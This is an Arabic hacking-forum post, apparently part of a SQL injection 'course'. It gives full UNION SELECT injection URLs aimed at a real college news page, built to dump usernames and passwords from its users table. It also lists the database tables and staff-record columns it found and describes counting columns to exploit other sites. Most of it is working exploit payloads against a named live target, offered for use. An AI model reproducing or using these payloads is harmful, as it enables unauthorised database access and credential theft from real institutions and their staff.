[[phphttp://www.mcny.edu/news/newsdetail.php?id=-309%20UNION%20SELECT%201,2,3,4,5,concat(user_name, 0x3a,password),7,8,9,10,11,12+from+users--
[/php]
لمشاهده جيمع الاعضاء باستخدام الامر group بديل الامر لميت
كود PHP:
http://www.mcny.edu/news/newsdetail.php?id=-309%20UNION%20SELECT%201,2,3,4,5,group_concat(user_name,0x3a,password),7,8,9,10,11,12+from+users--
بالموقع الثاني انت ليش داخل هون
[ facultydb ]
عندنا جدول لليوزر بنروح عليه
[users ]
 | اقتباس |  | | | | |
زي ما انت شايف زبط معانا الموقع
بالنسبه للجدول
facultydb
هاي الاعمده الي بداخلو
userIDlnamefnamedeptnameextnumroomnumemail
بالنسبه للمشكله دي
| | اقتباس | | | | | | | | | | |
احنا استخرجناا راح نستعمل order by لإستخراج الأعمدة مثلاا لدينا 11 عموود
يعني موقعنا راح يصير كده :--site.com/me.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11
( احنا عملنا كده لنعرف الأعمده اللي مصابة لكي نستغلها لنستخرج الجداول ) لكن اما أصل الى هناا فلا اتظهر لي الأعمدة المصابه
| |  | |  | |
في موضوع عملناه بالدوره كان من عنوانو (مسابقه تعال اعمل عرض عضلات )
هيك اشي
كان المشكله بالموقع الي عملت عليه المسابقه
المشكله الي حصلت معاك الان
ابقى جيب لي موقع وانشوف مشكلته (كل موقع له مشاكله الخاصه والحلول لازم تيجي من دماغك بقى نظفو وفكر كويس وانت ابتكر حلول وخليك مستكشف بقى )